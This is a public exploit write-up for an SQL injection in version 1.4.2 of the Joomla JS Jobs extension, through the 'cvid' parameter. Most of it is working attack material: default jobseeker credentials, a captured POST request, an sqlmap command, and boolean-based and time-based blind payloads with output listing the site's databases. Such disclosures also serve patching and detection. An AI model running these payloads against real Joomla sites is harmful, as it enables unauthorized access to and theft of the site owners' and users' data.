Joomla JS Jobs plugin 1.4.2 – SQL injection

Exploit…

# Exploit Title: Joomla JS Jobs plugin 1.4.2 – SQL injection

# Google Dork: n/a

# Date: 07/07/2025

# Exploit Author: Adam Wallwork

# Vendor Homepage: https://joomsky.com/

# Demo: https://demo.joomsky.com/js-jobs/jm/free/

# Software Link: https://extensions.joomla.org/extension/js-jobs/

# Version: v1.4.2

# Tested on: v1.4.2

An SQL injection vulnerability exists in the JS Jobs extension (v1.4.2) via the ‘cvid’ parameter and is exploitable as the jobseeker user.

To exploit this vulnerability login as the jobseeker user with default credentials (jobseeker:demo) and go to ‘jobseeker-controlpanel >> My Stuff >> Newest Jobs >> Newest Jobs >> Apply Now >> Apply Now’ and capture the “Apply Now” request (req.txt).

HTTP Request:

“`

POST /index.php?option=com_jsjobs&task=jobapply.jobapplyajax HTTP/2

Host: localhost:8080

Cookie: joomla_user_state=logged_in; 67aa5f9b49e233456b916ea62ef1447b=kjou43pssdvaa5plr84dhc8P64

Content-Length: 38

Sec-Ch-Ua-Platform: “Linux”

Accept-Language: en-GB,en;q=0.9

Sec-Ch-Ua: “Chromium”;v=”137″, “Not/A)Brand”;v=”24″

Sec-Ch-Ua-Mobile: ?0

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36

Accept: */*

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://localhost:8080

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: http://localhost:8080/index.php/component/jsjobs/newest-jobs?Itemid=

Accept-Encoding: gzip, deflate, br

Priority: u=1, i

jobid=1&cvid=1&coverletterid=4&uid=460

“`

Exploit:

“`

sqlmap -r req.txt –dbs –batch -p cvid –dbms=mysql –threads=10

        ___

       __H__

 ___ ___[‘]_____ ___ ___  {1.9.1.2#dev}

|_ -| . [‘]     | .’| . |

|___|_  [‘]_|_|_|__,|  _|

      |_|V…       |_|   https://sqlmap.org

—

Parameter: cvid (POST)

Type: boolean-based blind

Title: Boolean-based blind – Parameter replace (original value)

Payload: jobid=1&cvid=(SELECT (CASE WHEN (7270=7270) THEN 1 ELSE (SELECT 6098 UNION SELECT 7386) END))&coverletterid=4&uid=460

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: jobid=1&cvid=1 AND (SELECT 6497 FROM (SELECT(SLEEP(5)))EAyv)&coverletterid=4&uid=460

—

available databases [2]:

[*] joomla_db

[*] information_schema

“`